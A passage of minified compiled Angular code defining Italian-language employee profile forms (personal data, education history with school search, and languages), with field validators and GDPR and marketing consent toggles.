soggiorno")),f.Cb(5),f.nc("disabled",e._form.disabled)("model",e._form.controls.residency_validity.value)("inputClass",f.rc(9,B,e.validateField("residency_validity",e._form,e.isInEdit))),f.Cb(3),f.Kc(" ",f.ic(11,7,"Inserire una data valida!")," ")}}const H=function(){return["form-control"]};function Z(e,t){1&e&&(f.Vb(0,"div",5),f.Vb(1,"h3",6),f.Ic(2),f.hc(3,"translate"),f.Ub(),f.Vb(4,"div",8),f.Qb(5,"input",32),f.Qb(6,"i",10),f.Vb(7,"div",11),f.Ic(8),f.hc(9,"translate"),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(2),f.Kc("",f.ic(3,3,"Partita Iva")," "),f.Cb(3),f.nc("ngClass",f.qc(7,H)),f.Cb(3),f.Kc(" ",f.ic(9,5,"Inserire una partita iva valida e correttamente formattata!")," "))}const X=function(){return["form-control","border-select"]};function ee(e,t){if(1&e){const e=f.Wb();f.Vb(0,"div",8),f.Vb(1,"ng-select",33,34),f.cc("change",function(t){return f.Ac(e),f.gc().onMobilitazioneAdd(t)}),f.Ub(),f.Qb(3,"i",10),f.Ub()}if(2&e){const e=f.gc();f.Cb(1),f.nc("items",e.options.mobilitazioneOptions)("ngClass",f.qc(2,X))}}function te(e,t){if(1&e){const e=f.Wb();f.Vb(0,"span",35),f.Ic(1),f.Vb(2,"i",36),f.cc("click",function(){f.Ac(e);const i=t.$implicit;return f.gc().onMobilitazioneRemove(i)}),f.Ub(),f.Ub()}if(2&e){const e=t.$implicit;f.Cb(1),f.Kc("",e,"\xa0")}}const ie=function(e){return["form-control","border-select",e]};let ne=(()=>{class e extends R.a{constructor(e){super(e,"FormGroup"),this.dropzoneCfgAnagrafica={url:g.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"}}get newInnerFormItem(){return this.fb.group({name:[null,[l.v.required,l.v.maxLength(30)]],surname:[null,[l.v.required,l.v.maxLength(30)]],birth_date:[null],cdf:["",[l.v.maxLength(16),l.v.minLength(16),l.v.pattern("[a-zA-Z]{6}[0-9]{2}[a-zA-Z][0-9]{2}[a-zA-Z][0-9]{3}[a-zA-Z]")]],email:["",[l.v.required,l.v.email]],pec:["",[l.v.email]],cellular:["",[l.v.minLength(8),l.v.maxLength(32),l.v.pattern("[0-9() +-]+")]],jobtitle:[null],id_residence_state:[null],residency_validity:[null,[l.v.required]],piva:[null],recruitmentSource:[null],gdpr:[!1,[l.v.requiredTrue]],mobilitazione:[[]],marketing_consent:[!1],is_piva:[!1],photo_profile:[null]})}onMobilitazioneAdd(e){if(e&&e.name){let t=this._form.get("mobilitazione").value;0==(t?t.filter(t=>t.name==e.name):[]).length&&(t instanceof Array?this._form.get("mobilitazione").setValue([...t,e.name]):this._form.get("mobilitazione").setValue([e.name]))}this.mobilitazioneSelector.handleClearClick()}onMobilitazioneRemove(e){let t=this._form.get("mobilitazione").value.filter(t=>t!=e);this._form.get("mobilitazione").setValue(t)}drop(e){Object(W.e)(this._form.get("mobilitazione").value,e.previousIndex,e.currentIndex)}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-anagrafica"]],viewQuery:function(e,t){if(1&e&&f.Mc($,1),2&e){let e;f.wc(e=f.dc())&&(t.mobilitazioneSelector=e.first)}},features:[f.zb],decls:138,vars:108,consts:[[1,"row","mb-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"formGroup"],[1,"row"],[1,"col-md-6"],[1,"card-body__title"],[1,"label-red-required"],[1,"form-group"],["type","text","formControlName","name",3,"ngClass"],[1,"form-group__bar"],[1,"invalid-tooltip"],["type","text","formControlName","surname",3,"ngClass"],["placeholder","","mode","day","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","text","formControlName","cdf",3,"ngClass"],["type","text","formControlName","email",3,"ngClass"],["type","text","formControlName","pec",3,"ngClass"],["type","text","formControlName","cellular",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","jobtitle",3,"items","ngClass"],["bindLabel","nome","bindValue","nome","placeholder","","formControlName","id_residence_state",3,"items","markFirst","ngClass"],["class","col-md-6",4,"ngIf"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","is_piva",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],["class","form-group",4,"ngIf"],["cdkDropList","","cdkDropListOrientation","horizontal",1,"my-4",3,"cdkDropListDropped"],["cdkDrag","","class","badge badge-light m-1 customBadge",4,"ngFor","ngForOf"],["bindLabel","name","bindValue","name","placeholder","","formControlName","recruitmentSource",3,"items","ngClass","addTag","addTagText"],["type","checkbox","formControlName","gdpr",1,"toggle-switch__checkbox"],["type","checkbox","formControlName","marketing_consent",1,"toggle-switch__checkbox"],["type","text","formControlName","piva",3,"ngClass"],["bindLabel","name","bindValue","name","placeholder","",3,"items","ngClass","change"],["mobilitazioneSelector",""],["cdkDrag","",1,"badge","badge-light","m-1","customBadge"],[1,"zmdi","zmdi-close",3,"click"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"form",3),f.Vb(6,"div",4),f.Vb(7,"div",5),f.Vb(8,"h3",6),f.Ic(9),f.hc(10,"translate"),f.Vb(11,"label",7),f.Ic(12,"*"),f.Ub(),f.Ub(),f.Vb(13,"div",8),f.Qb(14,"input",9),f.Qb(15,"i",10),f.Vb(16,"div",11),f.Ic(17),f.hc(18,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(19,"div",5),f.Vb(20,"h3",6),f.Ic(21),f.hc(22,"translate"),f.Vb(23,"label",7),f.Ic(24,"*"),f.Ub(),f.Ub(),f.Vb(25,"div",8),f.Qb(26,"input",12),f.Qb(27,"i",10),f.Vb(28,"div",11),f.Ic(29),f.hc(30,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(31,"div",5),f.Vb(32,"h3",6),f.Ic(33),f.hc(34,"translate"),f.Ub(),f.Vb(35,"div",8),f.Vb(36,"app-datetime-manager",13),f.cc("modelChange",function(e){return t._form.controls.birth_date.value=e}),f.Ub(),f.Qb(37,"i",10),f.Ub(),f.Ub(),f.Vb(38,"div",5),f.Vb(39,"h3",6),f.Ic(40),f.hc(41,"translate"),f.Ub(),f.Vb(42,"div",8),f.Qb(43,"input",14),f.Qb(44,"i",10),f.Vb(45,"div",11),f.Ic(46),f.hc(47,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(48,"div",5),f.Vb(49,"h3",6),f.Ic(50),f.hc(51,"translate"),f.Vb(52,"label",7),f.Ic(53,"*"),f.Ub(),f.Ub(),f.Vb(54,"div",8),f.Qb(55,"input",15),f.Qb(56,"i",10),f.Vb(57,"div",11),f.Ic(58),f.hc(59,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(60,"div",5),f.Vb(61,"h3",6),f.Ic(62),f.hc(63,"translate"),f.Ub(),f.Vb(64,"div",8),f.Qb(65,"input",16),f.Qb(66,"i",10),f.Vb(67,"div",11),f.Ic(68),f.hc(69,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(70,"div",5),f.Vb(71,"h3",6),f.Ic(72),f.hc(73,"translate"),f.Ub(),f.Vb(74,"div",8),f.Qb(75,"input",17),f.Qb(76,"i",10),f.Vb(77,"div",11),f.Ic(78),f.hc(79,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(80,"div",5),f.Vb(81,"h3",6),f.Ic(82),f.hc(83,"translate"),f.Ub(),f.Vb(84,"div",8),f.Qb(85,"ng-select",18),f.Qb(86,"i",10),f.Ub(),f.Ub(),f.Vb(87,"div",5),f.Vb(88,"h3",6),f.Ic(89),f.hc(90,"translate"),f.Ub(),f.Vb(91,"div",8),f.Qb(92,"ng-select",19),f.Qb(93,"i",10),f.Ub(),f.Ub(),f.Gc(94,Y,12,11,"div",20),f.Vb(95,"div",5),f.Vb(96,"h3",21),f.Ic(97),f.hc(98,"translate"),f.Ub(),f.Vb(99,"div",22),f.Vb(100,"div",23),f.Qb(101,"input",24),f.Qb(102,"i",25),f.Ub(),f.Ub(),f.Ub(),f.Gc(103,Z,10,8,"div",20),f.Vb(104,"div",5),f.Vb(105,"h3",6),f.Ic(106),f.hc(107,"translate"),f.Ub(),f.Gc(108,ee,4,3,"div",26),f.Vb(109,"div",27),f.cc("cdkDropListDropped",function(e){return t.drop(e)}),f.Gc(110,te,3,1,"span",28),f.Ub(),f.Ub(),f.Vb(111,"div",5),f.Vb(112,"h3",6),f.Ic(113),f.hc(114,"translate"),f.Ub(),f.Vb(115,"div",8),f.Qb(116,"ng-select",29),f.hc(117,"translate"),f.Qb(118,"i",10),f.Ub(),f.Ub(),f.Vb(119,"div",5),f.Vb(120,"div",8),f.Vb(121,"h3",21),f.Ic(122),f.hc(123,"translate"),f.Ub(),f.Vb(124,"div",22),f.Vb(125,"div",23),f.Qb(126,"input",30),f.Qb(127,"i",25),f.Ub(),f.Ub(),f.Qb(128,"i",10),f.Ub(),f.Ub(),f.Vb(129,"div",5),f.Vb(130,"div",8),f.Vb(131,"h3",21),f.Ic(132),f.hc(133,"translate"),f.Ub(),f.Vb(134,"div",22),f.Vb(135,"div",23),f.Qb(136,"input",31),f.Qb(137,"i",25),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,44,"Anagrafica")," "),f.Cb(2),f.nc("formGroup",t._form),f.Cb(4),f.Kc("",f.ic(10,46,"Nome")," "),f.Cb(5),f.nc("ngClass",f.rc(88,B,t.validateField("name",t._form,t.isInEdit))),f.Cb(3),f.Kc("",f.ic(18,48,"Il nome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),f.Cb(4),f.Kc("",f.ic(22,50,"Cognome")," "),f.Cb(5),f.nc("ngClass",f.rc(90,B,t.validateField("surname",t._form,t.isInEdit))),f.Cb(3),f.Kc(" ",f.ic(30,52,"Il cognome \xe8 obbligatorio e non pu\xf2 superare i 30 caratteri!")," "),f.Cb(4),f.Kc("",f.ic(34,54,"Data di Nascita")," "),f.Cb(3),f.nc("disabled",t._form.disabled)("model",t._form.controls.birth_date.value)("inputClass",f.rc(92,B,t.validateField("birth_date",t._form,t.isInEdit))),f.Cb(4),f.Kc("",f.ic(41,56,"Codice Fiscale")," "),f.Cb(3),f.nc("ngClass",f.rc(94,B,t.validateField("cdf",t._form,t.isInEdit))),f.Cb(3),f.Kc(" ",f.ic(47,58,"Il codice fiscale \xe8 composto da 16 caratteri e deve essere correttamente formattato!")," "),f.Cb(4),f.Kc("",f.ic(51,60,"Email")," "),f.Cb(5),f.nc("ngClass",f.rc(96,B,t.validateField("email",t._form,t.isInEdit))),f.Cb(3),f.Kc(" ",f.ic(59,62,"La mail \xe8 obbligatoria e deve essere correttamente formattata!")," "),f.Cb(4),f.Kc("",f.ic(63,64,"Pec")," "),f.Cb(3),f.nc("ngClass",f.rc(98,B,t.validateField("pec",t._form,t.isInEdit))),f.Cb(3),f.Kc(" ",f.ic(69,66,"La PEC deve essere correttamente formattata!")," "),f.Cb(4),f.Kc("",f.ic(73,68,"Cellulare")," "),f.Cb(3),f.nc("ngClass",f.rc(100,B,t.validateField("cellular",t._form,t.isInEdit))),f.Cb(3),f.Kc(" ",f.ic(79,70,"Il numero di telefono deve contenere solo numeri!")," "),f.Cb(4),f.Jc(f.ic(83,72,"Job Title")),f.Cb(3),f.nc("items",t.options.jobTitleOption)("ngClass",f.rc(102,ie,t.validateField("jobtitle",t._form,t.isInEdit))),f.Cb(4),f.Jc(f.ic(90,74,"Nazione di residenza")),f.Cb(3),f.nc("items",t.options.nationOptions)("markFirst",!0)("ngClass",f.rc(104,ie,t.validateField("id_residence_state",t._form,t.isInEdit))),f.Cb(2),f.nc("ngIf",t._form.controls.id_residence_state.value&&"Italia"!==t._form.controls.id_residence_state.value),f.Cb(3),f.Kc("",f.ic(98,76,"Ha Partita Iva")," "),f.Cb(6),f.nc("ngIf",t._form.controls.is_piva.value),f.Cb(3),f.Kc("",f.ic(107,78,"Disponibilt\xe0 Geografica")," "),f.Cb(2),f.nc("ngIf",t.isInEdit),f.Cb(2),f.nc("ngForOf",t._form.get("mobilitazione").value),f.Cb(3),f.Kc("",f.ic(114,80,"Fonte di reclutamento")," "),f.Cb(3),f.nc("items",t.options.recruitmentOptions)("ngClass",f.rc(106,ie,t.validateField("recruitmentSource",t._form,t.isInEdit)))("addTag",!0)("addTagText",f.ic(117,82,"Premi invio per aggiungere il nuovo valore")),f.Cb(6),f.Kc("",f.ic(123,84,"GDPR")," "),f.Cb(10),f.Kc("",f.ic(133,86,"Consenso Marketing")," "))},directives:[l.w,l.o,l.i,l.c,l.n,l.g,h.l,v.a,C.a,h.n,l.a,W.b,h.m,W.a],pipes:[U.c],styles:[""]}),e})();var oe=i("S8xs");function ae(e,t){if(1&e){const e=f.Wb();f.Vb(0,"span",37),f.cc("click",function(){f.Ac(e);const t=f.gc().index;return f.gc()._form.removeAt(t)}),f.Qb(1,"i",38),f.Ub()}if(2&e){const e=f.gc(2);f.nc("hidden",!e._isInEdit)}}const ce=function(e){return["form-control",e]};function re(e,t){if(1&e){const e=f.Wb();f.Vb(0,"div",23),f.Vb(1,"h3",20),f.Ic(2),f.hc(3,"translate"),f.Ub(),f.Vb(4,"div",21),f.Vb(5,"app-datetime-manager",39),f.cc("modelChange",function(t){return f.Ac(e),f.gc().$implicit.controls.dateAttainment.value=t}),f.Ub(),f.Qb(6,"i",32),f.Ub(),f.Ub()}if(2&e){const e=f.gc().$implicit,t=f.gc();f.Cb(2),f.Kc("",f.ic(3,4,"Data Conseguimento")," "),f.Cb(3),f.nc("disabled",t._form.disabled)("model",e.controls.dateAttainment.value)("inputClass",f.rc(6,ce,t.validateField("dateAttainment",e,t.isInEdit)))}}function le(e,t){1&e&&(f.Vb(0,"div",23),f.Vb(1,"h3",27),f.Ic(2),f.hc(3,"translate"),f.Ub(),f.Vb(4,"div",28),f.Vb(5,"div",29),f.Qb(6,"input",40),f.Qb(7,"i",31),f.Ub(),f.Ub(),f.Qb(8,"i",32),f.Ub()),2&e&&(f.Cb(2),f.Kc("",f.ic(3,1,"Con lode")," "))}const se=function(e){return["form-control","border-select",e]};function be(e,t){if(1&e){const e=f.Wb();f.Vb(0,"accordion-group",12),f.Vb(1,"button",13),f.Vb(2,"div",14),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Vb(5,"div",15),f.Vb(6,"span",16),f.Qb(7,"i",17),f.Ub(),f.Gc(8,ae,2,1,"span",18),f.Ub(),f.Ub(),f.Vb(9,"div",19),f.Vb(10,"div",4),f.Vb(11,"h3",20),f.Ic(12),f.hc(13,"translate"),f.Ub(),f.Vb(14,"div",21),f.Vb(15,"ng-select",22),f.cc("change",function(i){f.Ac(e);const n=t.index;return f.gc().selectSchool(i,n)})("search",function(i){f.Ac(e);const n=t.index;return f.gc().filtraScuole(i,n)}),f.hc(16,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(17,"div",23),f.Vb(18,"h3",20),f.Ic(19),f.hc(20,"translate"),f.Ub(),f.Vb(21,"div",21),f.Qb(22,"ng-select",24),f.hc(23,"translate"),f.Ub(),f.Ub(),f.Vb(24,"div",23),f.Vb(25,"h3",20),f.Ic(26),f.hc(27,"translate"),f.Ub(),f.Vb(28,"div",21),f.Qb(29,"ng-select",25),f.hc(30,"translate"),f.Ub(),f.Ub(),f.Vb(31,"div",23),f.Vb(32,"h3",20),f.Ic(33),f.hc(34,"translate"),f.Ub(),f.Vb(35,"div",21),f.Qb(36,"ng-select",26),f.hc(37,"translate"),f.Ub(),f.Ub(),f.Vb(38,"div",23),f.Vb(39,"div",21),f.Vb(40,"h3",27),f.Ic(41),f.hc(42,"translate"),f.Ub(),f.Vb(43,"div",28),f.Vb(44,"div",29),f.Qb(45,"input",30),f.Qb(46,"i",31),f.Ub(),f.Ub(),f.Qb(47,"i",32),f.Ub(),f.Ub(),f.Gc(48,re,7,8,"div",33),f.Vb(49,"div",23),f.Vb(50,"h3",20),f.Ic(51),f.hc(52,"translate"),f.Ub(),f.Vb(53,"div",21),f.Qb(54,"input",34),f.Ub(),f.Ub(),f.Gc(55,le,9,3,"div",33),f.Vb(56,"div",23),f.Vb(57,"h3",20),f.Ic(58),f.hc(59,"translate"),f.Ub(),f.Vb(60,"div",21),f.Qb(61,"ng-select",35),f.Ub(),f.Ub(),f.Vb(62,"div",23),f.Vb(63,"h3",20),f.Ic(64),f.hc(65,"translate"),f.Ub(),f.Vb(66,"div",21),f.Qb(67,"ng-select",36),f.Ub(),f.Ub(),f.Ub(),f.Ub()}if(2&e){const e=t.$implicit,i=t.index,n=f.gc();f.Cb(3),f.Kc(" ",e.controls.prof_educ_name.value?e.controls.prof_educ_name.value+" "+e.controls.prof_educ_level.value:f.ic(4,34,"Istruzione")+" #"+(i+1)," "),f.Cb(5),f.nc("ngIf",n._form.length>1),f.Cb(1),f.nc("formGroup",e),f.Cb(3),f.Kc("",f.ic(13,36,"Nome dell'Istituto")," "),f.Cb(3),f.nc("items",n.options.schoolsFiltered[i])("addTag",!0)("addTagText",f.ic(16,38,"Premi invio per aggiungere il nuovo valore"))("ngClass",f.rc(60,se,n.validateField("istruction_school",e,n.isInEdit))),f.Cb(4),f.Jc(f.ic(20,40,"Tipologia")),f.Cb(3),f.nc("items",n.options.educOptions)("ngClass",f.rc(62,se,n.validateField("prof_educ_name",e,n.isInEdit)))("addTag",!0)("addTagText",f.ic(23,42,"Premi invio per aggiungere il nuovo valore")),f.Cb(4),f.Kc("",f.ic(27,44,"Livello")," "),f.Cb(3),f.nc("items",n.options.educLevelOptions)("ngClass",f.rc(64,se,n.validateField("prof_educ_level",e,n.isInEdit)))("addTag",!0)("addTagText",f.ic(30,46,"Premi invio per aggiungere il nuovo valore")),f.Cb(4),f.Kc("",f.ic(34,48,"Titolo di studio")," "),f.Cb(3),f.nc("items",n.options.educTitlesOptions)("ngClass",f.rc(66,se,n.validateField("prof_educ_title",e,n.isInEdit)))("addTag",!0)("addTagText",f.ic(37,50,"Premi invio per aggiungere il nuovo valore")),f.Cb(5),f.Kc("",f.ic(42,52,"Titolo Conseguito")," "),f.Cb(7),f.nc("ngIf",e.controls.titoloConseguito.value),f.Cb(3),f.Jc(f.ic(52,54,"Voto")),f.Cb(3),f.nc("ngClass",f.rc(68,ce,n.validateField("prof_educ_vote",e,n.isInEdit))),f.Cb(1),f.nc("ngIf",e.controls.prof_educ_vote.value>=100),f.Cb(3),f.Kc("",f.ic(59,56,"Regione")," "),f.Cb(3),f.nc("items",n.options.regions)("ngClass",f.rc(70,se,n.validateField("istruction_region",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(65,58,"Comune")," "),f.Cb(3),f.nc("items",n.options.cityOptions)("ngClass",f.rc(72,se,n.validateField("istruction_city",e,n.isInEdit)))}}const de=function(e){return["row",e]};let me=(()=>{class e extends R.a{constructor(e,t){super(e,"FormArray",!0),this.utilsService=t}get newInnerFormItem(){return this.fb.group({prof_educ_name:[null],prof_educ_level:[null],prof_educ_title:[null],titoloConseguito:[!1],dateAttainment:[null],prof_educ_vote:[null],istruction_region:[null],istruction_city:[null],istruction_school:[null],instructionHasLode:[!1]})}selectSchool(e,t){let i="",n="",o="";e&&e.nome_scuola&&(i=e.regione,n=e.comune,o=e.nome_scuola);let a=this._form.controls[t];a.controls.istruction_region.setValue(i),a.controls.istruction_city.setValue(n),this.filtraScuole({term:o},t)}filtraScuole(e,t){e&&e.term&&e.term.length>2&&this.utilsService.searchSchools(e.term).subscribe(e=>{e.status&&(this.options.schoolsFiltered[t]=e.message)})}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e),f.Pb(s.a))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-istruzione"]],features:[f.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],["bindLabel","nome_scuola","bindValue","nome_scuola","placeholder","","formControlName","istruction_school",3,"items","addTag","addTagText","ngClass","change","search"],[1,"col-md-6"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_name",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_level",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_title",3,"items","ngClass","addTag","addTagText"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","titoloConseguito",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["class","col-md-6",4,"ngIf"],["type","text","formControlName","prof_educ_vote",3,"ngClass"],["bindLabel","nome_regione","bindValue","nome_regione","placeholder","","formControlName","istruction_region",3,"items","ngClass"],["bindLabel","nome_comune","bindValue","nome_comune","placeholder","","formControlName","istruction_city",3,"items","ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],["placeholder","","mode","month","format","MM / YYYY","placement","bottom left",3,"disabled","model","inputClass","modelChange"],["type","checkbox","formControlName","instructionHasLode",1,"toggle-switch__checkbox"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",3),f.Vb(6,"div",4),f.Vb(7,"accordion",5),f.Gc(8,be,68,74,"accordion-group",6),f.Ub(),f.Ub(),f.Vb(9,"div",7),f.Qb(10,"br"),f.Vb(11,"a",8),f.cc("click",function(){return t.addItem()}),f.Qb(12,"i",9),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"a",10),f.cc("click",function(){return t.removeEmpty(t._form)}),f.Qb(16,"i",11),f.Ic(17),f.hc(18,"translate"),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,6,"Istruzione")," "),f.Cb(2),f.nc("ngClass",f.rc(12,de,t.rowStyle)),f.Cb(3),f.nc("ngForOf",t._form.controls),f.Cb(1),f.nc("hidden",!t._isInEdit),f.Cb(4),f.Kc("",f.ic(14,8,"Aggiungi Istruzione")," "),f.Cb(4),f.Kc("",f.ic(18,10,"Rimuovi Istruzioni Vuote")," "))},directives:[h.l,oe.a,h.m,oe.c,h.n,l.o,l.i,C.a,l.n,l.g,l.a,l.c,v.a],pipes:[U.c],styles:[""]}),e})();function ue(e,t){if(1&e&&(f.Qb(0,"span"),f.hc(1,"lowercase")),2&e){const e=f.gc().$implicit;f.Fb("fi fi-",f.ic(1,3,e.controls.lang_language.value.flag),"")}}function pe(e,t){if(1&e){const e=f.Wb();f.Vb(0,"span",29),f.cc("click",function(){f.Ac(e);const t=f.gc().index;return f.gc()._form.removeAt(t)}),f.Qb(1,"i",30),f.Ub()}if(2&e){const e=f.gc(2);f.nc("hidden",!e._isInEdit)}}const ge=function(e){return["form-control","border-select",e]},fe=function(e){return["form-control","textareaCustom",e]};function he(e,t){if(1&e){const e=f.Wb();f.Vb(0,"accordion-group",12),f.Vb(1,"button",13),f.Vb(2,"div",14),f.Gc(3,ue,2,5,"span",15),f.Ic(4),f.hc(5,"translate"),f.Ub(),f.Vb(6,"div",16),f.Vb(7,"span",17),f.Qb(8,"i",18),f.Ub(),f.Gc(9,pe,2,1,"span",19),f.Ub(),f.Ub(),f.Vb(10,"div",20),f.Vb(11,"div",21),f.Vb(12,"h3",22),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"div",23),f.Vb(16,"ng-select",24),f.cc("change",function(t){return f.Ac(e),f.gc().setFlag(t)}),f.hc(17,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(18,"div",21),f.Vb(19,"h3",22),f.Ic(20),f.hc(21,"translate"),f.Ub(),f.Vb(22,"div",23),f.Qb(23,"ng-select",25),f.Ub(),f.Ub(),f.Vb(24,"div",21),f.Vb(25,"h3",22),f.Ic(26),f.hc(27,"translate"),f.Ub(),f.Vb(28,"div",23),f.Qb(29,"ng-select",26),f.Ub(),f.Ub(),f.Vb(30,"div",4),f.Vb(31,"h3",22),f.Ic(32),f.hc(33,"translate"),f.Ub(),f.Vb(34,"div",23),f.Vb(35,"textarea",27),f.Ic(36,"                            "),f.Ub(),f.Qb(37,"i",28),f.Ub(),f.Ub(),f.Ub(),f.Ub()}if(2&e){const e=t.$implicit,i=t.index,n=f.gc();f.Cb(3),f.nc("ngIf",e.controls.lang_language.value&&e.controls.lang_language.value.flag),f.Cb(1),f.Kc(" ",e.controls.lang_language.value?e.controls.lang_language.value.name:f.ic(5,17,"Lingua")+" #"+(i+1)," "),f.Cb(5),f.nc("ngIf",n._form.length>1),f.Cb(1),f.nc("formGroup",e),f.Cb(3),f.Kc("",f.ic(14,19,"Lingua")," "),f.Cb(3),f.nc("items",n.options.languagesListOpt)("ngClass",f.rc(29,ge,n.validateField("lang_language",e,n.isInEdit)))("addTag",!0)("addTagText",f.ic(17,21,"Premi invio per aggiungere il nuovo valore")),f.Cb(4),f.Kc("",f.ic(21,23,"Parlato")," "),f.Cb(3),f.nc("items",n.options.languagesLevelOpt)("ngClass",f.rc(31,ge,n.validateField("lang_parlato",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(27,25,"Scritto")," "),f.Cb(3),f.nc("items",n.options.languagesLevelOpt)("ngClass",f.rc(33,ge,n.validateField("lang_scritto",e,n.isInEdit))),f.Cb(3),f.Kc("",f.ic(33,27,"Note")," "),f.Cb(3),f.nc("ngClass",f.rc(35,fe,n.validateField("lang_note",e,n.isInEdit)))}}const ve=function(e){return["row",e]};let Ce=(()=>{class e extends R.a{constructor(e){super(e,"FormArray",!0)}get newInnerFormItem(){return this.fb.group({lang_language:[null],lang_parlato:[null],lang_scritto:[null],lang_note:[null]})}setFlag(e){let t="";return e.flag&&(t=e.flag.toLowerCase()),t}}return e.\u0275fac=function(t){return new(t||e)(f.Pb(l.e))},e.\u0275cmp=f.Jb({type:e,selectors:[["app-employee-view-edit-lingue"]],features:[f.zb],decls:19,vars:14,consts:[[1,"row","my-5","customRow"],[1,"col-md-12","p-0"],[1,"card-title","title-custom"],[3,"ngClass"],[1,"col-md-12"],[1,"accordion"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right",3,"hidden"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[3,"class",4,"ngIf"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"hidden","click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["bindLabel","name","placeholder","","formControlName","lang_language",3,"items","ngClass","addTag","addTagText","change"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_parlato",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_scritto",3,"items","ngClass"],["formControlName","lang_note","autosize","","placeholder","",3,"ngClass"],[1,"form-group__bar"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"hidden","click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(f.Vb(0,"div",0),f.Vb(1,"div",1),f.Vb(2,"h4",2),f.Ic(3),f.hc(4,"translate"),f.Ub(),f.Ub(),f.Ub(),f.Vb(5,"div",3),f.Vb(6,"div",4),f.Vb(7,"accordion",5),f.Gc(8,he,38,37,"accordion-group",6),f.Ub(),f.Ub(),f.Vb(9,"div",7),f.Qb(10,"br"),f.Vb(11,"a",8),f.cc("click",function(){return t.addItem()}),f.Qb(12,"i",9),f.Ic(13),f.hc(14,"translate"),f.Ub(),f.Vb(15,"a",10),f.cc("click",function(){return t.removeEmpty(t._form)}),f.Qb(16,"i",11),f.Ic(17),f.hc(18,"translate"),f.Ub(),f.Ub(),f.Ub()),2&e&&(f.Cb(3),f.Kc(" ",f.ic(4,6,"Lingue")," "),f.Cb(2),f.nc("ngClass",f.rc(12,ve,t.rowStyle)),f.Cb(3),f.nc("ngForOf",t._form.controls),f.Cb(1),f.nc("hidden",!t._isInEdit),f.Cb(4),f.Kc("",f.ic(14,8,"Aggiungi Lingua")," 